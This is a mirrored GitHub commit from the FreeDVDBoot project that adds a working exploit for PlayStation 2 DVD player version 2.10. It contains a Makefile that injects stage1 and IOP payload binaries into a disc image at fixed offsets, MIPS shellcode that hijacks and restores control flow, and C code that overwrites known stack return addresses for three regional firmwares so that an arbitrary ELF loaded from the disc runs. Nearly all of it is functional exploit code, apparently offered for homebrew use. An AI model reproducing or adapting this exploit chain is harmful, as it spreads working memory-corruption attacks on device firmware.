1
0
mirror of https://github.com/CTurt/FreeDVDBoot.git synced 2026-05-05 07:34:55 +00:00

2.10 support, using new bug

This commit is contained in:
CTurt
2020-08-09 20:34:59 +01:00
parent e3b92c3c55
commit a53803d59c
20 changed files with 526 additions and 5 deletions

81
PAYLOADS/2.10/Makefile Normal file
View File

@@ -0,0 +1,81 @@
#STAGE1_LOAD_ADDRESS = 0x1f62b0
#STAGE1_LOAD_ADDRESS = 0xa01f62b0 # repacked
#STAGE1_LOAD_ADDRESS = 0xA01F30B0 # (0xa0000000 + 0x01f62b0 + 0x1F3058 - 0x1f6258) # hardware
# (0xb7548 + 0x5c700 - 0xb1000) = 0x62C48
STAGE1_LOAD_ADDRESS = 0xa0062C48 # hardware
EE_CC = ee-gcc
EE_LD = ee-ld
EE_AS = ee-as
EE_OBJCOPY = ee-objcopy
IOP_CC = iop-gcc
IOP_LD = iop-ld
IOP_AS = iop-as
IOP_OBJCOPY = iop-objcopy
IOP_OBJDUMP = iop-objdump
IOP_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -g
EE_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
#IOP_PAYLOAD_ENTRY = `$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"`
#IOP_PAYLOAD_ENTRY = 0xa0460178 # Set this manually for now.
IOP_PAYLOAD_ENTRY = 0xa00fd178 # Set this manually for now.
IOP_STAGE1_SIZE = `stat -c '%s' stage1.iop.bin`
IOP_PAYLOAD_SIZE = `stat -c '%s' ioppayload.iop.bin`
#IOP_PAYLOAD_ADDRESS = 0x460000
#IOP_PAYLOAD_ADDRESS = 0xa0460000
IOP_PAYLOAD_ADDRESS = 0xa00fd000
EE_PAYLOAD_ADDRESS = 0x01fff800
#isoinfo -l -i dvd.iso | grep "BOOT.ELF"
#var=`isoinfo -l -i dvd.iso | grep "BOOT.ELF" | grep -o -P "[0-9]*? -"`
# LOAD_ELF_FROM_OFFSET =
LOAD_ELF_FROM_OFFSET = 0x5BB000 # Set this manually for now
all: dvd.iso
dvd.iso: dvd.base.iso stage1.iop.bin ioppayload.iop.bin
cp dvd.base.iso dvd.iso
#genisoimage -udf -o dvd.iso udf/
# @echo Insert 0x00000048 to offset 0x0818AC in dvd.iso
# @echo Insert 0x00004000 to offset 0x0818B0 in dvd.iso
# @echo Insert 0x000B7548 to offset 0x0818F4 in dvd.iso
# bs=4096 iflag=skip_bytes,count_bytes
# 0x820f8 = 532728
dd if=stage1.iop.bin of=dvd.iso bs=1 seek=532728 count=$(IOP_STAGE1_SIZE) conv=notrunc
# 0x700000 = 7340032
dd if=ioppayload.iop.bin of=dvd.iso bs=1 seek=7340032 count=$(IOP_PAYLOAD_SIZE) conv=notrunc
%.iop.bin: %.iop.elf
$(IOP_OBJCOPY) -O binary $< $@
%.iop.o: %.iop.S
$(IOP_AS) $< -o $@
stage1.iop.elf: stage1.iop.S ioppayload.iop.bin
$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"
$(IOP_CC) -Ttext=$(STAGE1_LOAD_ADDRESS) $< -DENTRY=$(IOP_PAYLOAD_ENTRY) -DIOP_PAYLOAD_SIZE=$(IOP_PAYLOAD_SIZE) $(IOP_CFLAGS) -o $@
ioppayload.iop.elf: ioppayload.iop.c eepayload.ee.bin
$(IOP_CC) -Ttext=$(IOP_PAYLOAD_ADDRESS) -DLOAD_ELF_FROM_OFFSET=$(LOAD_ELF_FROM_OFFSET) ioppayload.iop.c $(IOP_CFLAGS) -o $@
%.ee.bin: %.ee.elf
$(EE_OBJCOPY) -O binary $< $@ -Wl,-z,max-page-size=0x1
%.ee.o: %.ee.S
$(EE_AS) $< -o $@
eepayload.ee.elf: eecrt0.ee.o syscalls.ee.o eepayload.ee.c
$(EE_CC) -Ttext=$(EE_PAYLOAD_ADDRESS) $^ $(EE_CFLAGS) -o $@
clean:
rm -rf *.elf *.bin *.o dvd.iso

BIN
PAYLOADS/2.10/dvd.base.iso Normal file

Binary file not shown.

27
PAYLOADS/2.10/eecrt0.ee.S Normal file
View File

@@ -0,0 +1,27 @@
# ElReino & CTurt 2020
.section .text.startup
.global _start
_start:
# Point stack to end of scratchpad RAM
#la $sp, 0x70004000
la $v0, 0x01FFF7D0
sw $v0, 0($v0)
.global main
#la $v1, 0x01
#la $a0, 0x7f
#syscall 0x01 # ResetEE
la $a0, main
la $a1, 0
la $a2, 0
la $a3, 0
jr $a0
#ExecPS2:
#la $v1, 0x07
#syscall 0x07 # ExecPS2

BIN
PAYLOADS/2.10/eecrt0.ee.o Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,37 @@
// ElReino & CTurt 2020
int (*SifIopReset)(char *, int) = (void *)0x85360;
void (*SifInitRpc)(int) = (void *)0x84500;
void (*SifExitRpc)(void) = (void *)0x84690;
extern void SifWriteBackDCache(void *ptr, int size);
extern int SifSetReg(unsigned int register_num, unsigned int register_value);
extern int SifGetReg(unsigned int register_num);
static int SifIopSync(void) {
#define SIF_REG_SMFLAG 4
#define SIF_STAT_BOOTEND 0x40000
return((SifGetReg(SIF_REG_SMFLAG) & SIF_STAT_BOOTEND) != 0);
}
static void flush(void) {
asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); /* FlushCache data writeback */
asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); /* FlushCache instruction invalidate */
}
int main(void) {
volatile int *waitAddress = (void *)0x21FFF7F0;
while(!*waitAddress);
flush();
SifInitRpc(0);
SifExitRpc();
while(!SifIopReset("", 0));
while(!SifIopSync()){};
//SifInitRpc(0);
volatile void **entry_point_address = (void *)0x01FFF7E0;
ExecPS2(*entry_point_address, 0, 0, 0);
}

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,247 @@
// ElReino & CTurt
/* Todo: seperate these settings to an include file.
*/
#define EE_CRT0_ADDRESS ((void*)0x21FFF800)
#define EE_WAIT_ADDRESS ((void*)0x01FFF7F0)
#define EE_ENTRYPOINT_ADDRESS ((void *)0x01FFF7E0)
//#define EE_DEBUG_ADDRESS ((void *)0x01FFF7D0)
struct SifDmaTransfer {
void *src,
*dest;
int size;
int attr;
} __attribute__ ((aligned(8)));
#define ELF_PT_LOAD 1
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned int size_t;
typedef struct {
u8 ident[16];
u16 type;
u16 machine;
u32 version;
u32 entry;
u32 phoff;
u32 shoff;
u32 flags;
u16 ehsize;
u16 phentsize;
u16 phnum;
u16 shentsize;
u16 shnum;
u16 shstrndx;
} elf_header_t;
typedef struct {
u32 type;
u32 offset;
void *vaddr;
u32 paddr;
u32 filesz;
u32 memsz;
u32 flags;
u32 align;
} elf_pheader_t;
#define SECTOR_SIZE 0x800
#define min(a, b) (((a) < (b)) ? (a) : (b))
/* All of these could be reimplemented here, but I'm lazy so we will use whatever
* the IOP has already loaded. The addresses are hardcoded but should be easy
* enough to extract from IOP memory by looking for their module names and magic
* number 0x41C00000.
*/
//int (*readSectors)(int count, int sector, void *destination) = (void *)0xb260c; // repacked ELF
int (*readSectors)(int count, int sector, void *destination) = (void *)(0xb260c + 0x5c700 - 0xb1000); // real hardware
int (*sceSifSetDma)(struct SifDmaTransfer *, int num) = (void *)0x16fc8;
int (*sceSifDmaStat)(int trid) = (void *)0x17170;
void (*flushIcache)(void) = (void*)0x2f40;
void (*flushDcache)(void) = (void*)0x3148;
void (*printf)(char *, ...) = (void *)0x1ab84;
static void transfer_to_ee(void *dest, void *src, unsigned int size);
static void *memcpy(void *dest, void *src, unsigned int n);
static void *memset(void *s, int c, unsigned int n);
static void memset_ee(void *s, int c, unsigned int n);
static void readData(void *dest, unsigned int offset, size_t n) {
//unsigned char buffer[SECTOR_SIZE];
//unsigned char *buffer = (void *)0xfd000;
unsigned char *buffer = (void *)0xba000; // single
unsigned int copied = 0;
#define remaining (n - copied)
if(offset % SECTOR_SIZE) {
readSectors(1, offset / SECTOR_SIZE, buffer);
memcpy(dest, buffer + offset % SECTOR_SIZE, min(SECTOR_SIZE - (offset % SECTOR_SIZE), n));
copied += min(SECTOR_SIZE - (offset % SECTOR_SIZE), n);
}
if(remaining >= SECTOR_SIZE) {
readSectors(remaining / SECTOR_SIZE, (offset + copied) / SECTOR_SIZE, dest + copied);
copied += (remaining / SECTOR_SIZE) * SECTOR_SIZE;
}
if(remaining > 0) {
readSectors(1, (offset + copied) / SECTOR_SIZE, buffer);
memcpy(dest + copied, buffer, remaining);
}
#undef remaining
}
// Read data but don't care about over/under writing to dest
static void readDataUnsafe(void *dest, unsigned int offset, size_t n) {
unsigned int sectorAlignedOffset = offset & ~(SECTOR_SIZE - 1);
unsigned int underflow = offset - sectorAlignedOffset;
readSectors((n + underflow + SECTOR_SIZE - 1) / SECTOR_SIZE, sectorAlignedOffset / SECTOR_SIZE, dest - underflow);
}
void _start(void) {
extern unsigned char ee_crt0[];
extern unsigned int ee_crt0_size;
void *return_address = EE_CRT0_ADDRESS;
int one = 1;
int i;
transfer_to_ee(EE_CRT0_ADDRESS, ee_crt0, ee_crt0_size);
/* Corrupt all known return addresses in the stack.
*/
transfer_to_ee((void *)0x14A5FF0, &return_address, sizeof(return_address)); /* 2.10E/A */
transfer_to_ee((void *)0x10007F0, &return_address, sizeof(return_address)); /* 2.10J */
transfer_to_ee((void *)0x12D1C70, &return_address, sizeof(return_address)); /* 2.10U */
// Clear bit 0 of 0x208bb710 to make EE exit loop waiting for IOP, and return to our above payload
//unsigned int loopValue = 0x010004;
//transfer_to_ee((void *)0x208bb710, &loopValue, sizeof(loopValue)); // 2.10E
//unsigned char *buffer = (void *)0xfe000;
unsigned char *buffer = (void *)0xBB800;
size_t sizeofbuffer = 2 * SECTOR_SIZE; // todo: find a nice large space 4 sectors maybe
elf_header_t eh;
readData(&eh, LOAD_ELF_FROM_OFFSET, sizeof(elf_header_t));
elf_pheader_t eph[eh.phnum];
readData(&eph, LOAD_ELF_FROM_OFFSET + eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
for (i = 0; i < eh.phnum; i++) {
if (eph[i].type != ELF_PT_LOAD)
continue;
// TODO: handle non-16byte aligned transfers
unsigned int copied = 0;
int remaining = eph[i].filesz;
while(remaining > 0) {
unsigned int k = min(remaining, sizeofbuffer);
k = (k + 0xf) & ~0xf;
// If offset is not aligned to a sector, start with a smaller transfer to get it aligned for future reads
if((eph[i].offset + copied) & (SECTOR_SIZE - 1)) k = SECTOR_SIZE - (eph[i].offset + copied) & (SECTOR_SIZE - 1);
//readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k);
readDataUnsafe(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k);
transfer_to_ee(eph[i].vaddr + copied, buffer, k);
copied += k;
remaining -= k;
}
copied = 0;
remaining = eph[i].memsz - eph[i].filesz;
if(remaining > 0) {
// First transfer needs to respect if load size isn't multiple of 16 bytes and not memset 0 over the final eph[i].filesz % 16 bytes
if(eph[i].filesz % 16) {
readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + eph[i].filesz - (eph[i].filesz % 16), eph[i].filesz % 16);
memset(buffer + (eph[i].filesz % 16), 0, 16 - (eph[i].filesz % 16));
transfer_to_ee(eph[i].vaddr + eph[i].filesz - (eph[i].filesz % 16), buffer, 16);
copied += 16 - (eph[i].filesz % 16);
remaining -= 16 - (eph[i].filesz % 16);
}
memset(buffer, 0, sizeofbuffer);
}
while(remaining > 0) {
unsigned int k = min(remaining, sizeofbuffer);
k = (k + 0xf) & ~0xf;
transfer_to_ee(eph[i].vaddr + eph[i].filesz + copied, buffer, k);
copied += k;
remaining -= k;
}
//unsigned char x[] = { 0x08, 0x00, 0xE0, 0x03, 0x01, 0x00, 0x42, 0x30, 0x01 };
//memcpy(buffer, &x, sizeof(x));
//memset(buffer + sizeof(x), 0, sizeofbuffer - sizeof(x));
//transfer_to_ee(eph[i].vaddr + (eph[i].filesz & ~(0x10 - 1)), buffer, (remaining + 0xf) & ~(0x10 - 1));
}
transfer_to_ee(EE_ENTRYPOINT_ADDRESS, &eh.entry, sizeof(one));
/* Signal EE that the ELF is loaded and ready to execute.
*/
transfer_to_ee(EE_WAIT_ADDRESS, &one, sizeof(one));
//int loopValueJ = 0;
//transfer_to_ee((void *)0x205ea210, &loopValueJ, sizeof(loopValueJ)); // 2.10J
}
/* dest and src should be aligned to 16 byte boundary
*/
static void transfer_to_ee(void *dest, void *src, unsigned int size)
{
int trid;
size = size & 0x3FFFFFFF;
struct SifDmaTransfer t = { src, dest, size, 0 };
/* These could be sent in parallel, but is it really worth it?
*/
trid = sceSifSetDma(&t, 1);
while(sceSifDmaStat(trid) > -1){};
}
static void *memcpy(void *dest, void *src, unsigned int n)
{
int i;
for(i = 0; i < n; i++)
((unsigned char *)dest)[i] = ((unsigned char *)src)[i];
return dest;
}
static void *memset(void *s, int c, unsigned int n)
{
int i;
for(i = 0; i < n; i++)
((unsigned char *)s)[i] = c;
return s;
}
asm("\n\
.global ee_crt0\n\
ee_crt0:\n\
.align 8\n\
.incbin \"eepayload.ee.bin\"\n\
ee_crt0_size: .word . - ee_crt0\n\
");

Binary file not shown.

View File

@@ -0,0 +1,48 @@
# ElReino & CTurt 2020
# entry 0xb7548 # repacked
# entry (0xb7548 + 0x5c700 - 0xb1000) = 0x62C48 (0xa0062C48) # hardware
#readSector = 0xb260c # repacked
readSector = (0xb260c + 0x5c700 - 0xb1000) # real hardware
flushIcache = 0x00002f40
flushDcache = 0x0003044
flushDcacheWrapper = 0x0057f1c
#iop_payload_address = 0x460000
#iop_payload_address = 0xa0460000
iop_payload_address = 0xa00fd000
.section .text
.global _start
_start:
move $fp, $sp # We need to reset $fp as it gets trashed by memcpy
la $a0, (IOP_PAYLOAD_SIZE / 0x800) + 1 # count
la $a1, 0x700000 / 0x800 # sector
la $a2, iop_payload_address # destination
jal readSector
#jal flushIcache
#jal flushDcache
#jal ENTRY
la $v0, ENTRY
jalr $v0
# Return gracefully back to original return address
#la $a0, 0x1f62ac # repacked
la $a0, (0x1f62ac + 0x1F3058 - 0x1f6258) # hardware
#la $ra, 0xb3630 # repacked
la $ra, (0xb3630 + 0x5c700 - 0xb1000) # hardware
sw $ra, 0($a0)
la $v0, 0
jr $ra

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,69 @@
# ElReino 2020
# Since GCC does something strange, we can't write syscall thunks directly in C
# as GCC adds move $v1, $v0 directly after jr $ra, effectively trashing $v0.
# I don't know why this happens, but I do know enough about GCC that this
# approach will most probably be easier. But feel free to try fixing it.
.global SifGetReg
SifGetReg:
la $v1, 0x7a
syscall 0x7a
jr $ra
.global ExecPS2
ExecPS2:
la $v1, 0x07
syscall 0x07 # BTW why do we put the number here also?
# Not a syscall, but it might as well be.
.global SifWriteBackDCache
SifWriteBackDCache:
lui $25, 0xffff
ori $25, $25, 0xffc0
blez $5, last
addu $10, $4, $5
and $8, $4, $25
addiu $10, $10, -1
and $9, $10, $25
subu $10, $9, $8
srl $11, $10, 0x6
addiu $11, $11, 1
andi $9, $11, 0x7
beqz $9, eight
srl $10, $11, 0x3
loop1:
sync
cache 0x18, 0($8)
sync
addiu $9, $9, -1
nop
bgtz $9, loop1
addiu $8, $8, 64
eight:
beqz $10, last
loop8:
addiu $10, $10, -1
sync
cache 0x18, 0($8)
sync
cache 0x18, 64($8)
sync
cache 0x18, 128($8)
sync
cache 0x18, 192($8)
sync
cache 0x18, 256($8)
sync
cache 0x18, 320($8)
sync
cache 0x18, 384($8)
sync
cache 0x18, 448($8)
sync
bgtz $10, loop8
addiu $8, $8, 512
last:
jr $31
nop

BIN
PAYLOADS/2.10/syscalls.ee.o Normal file

Binary file not shown.